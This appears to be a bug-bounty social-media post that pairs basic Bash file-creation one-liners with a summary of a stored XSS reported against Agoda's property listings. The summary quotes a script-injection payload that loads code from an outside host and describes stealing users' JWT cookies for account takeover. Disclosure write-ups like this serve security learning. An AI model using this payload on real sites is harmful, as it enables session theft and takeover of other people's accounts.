⚡Bash Series for bug hunters😎

Part-2

Create multiple folders using one-liner:

mkdir {dev,test,prod}

This command will create 3 directories (dev, test, prod) at a time.


Creating Multiple Files Efficiently:

touch {file1,file2,file3}.txt

File creates like file1.txt, file2.txt file3.txt


Generating Files with Numeric Sequences:

seq -w 1 10 | xargs -I {} touch file{}.txt

This sequence creates file's:
file01.txt, file02.txt, file03.txt .... To file10.txt


Boost your bug hunting with pro Bash commands — a must for every hacker!

⚡Popular HackerOne target Agoda.com was vulnerable to Stored XSS — Rewarded $3,200😬

🌀Core Issue:
By adding a new property (Apartment/Flat) and injecting a malicious script, the backend failed to properly sanitize user input. Validation was only enforced on the frontend.

🌀Affected Functionality:
Property listing creation, including:
 • Property Name
 • Property Description
 • Company Name
 • Company Address

💥Injection Payload:
"><script src=https://hackbx.bxss.in></script>


This single payload can be used to execute thousands of XSS scripts.

🔥Impact:
On page load, the stored XSS steals the user’s JWT token from cookies, enabling full account takeover with zero user interaction.
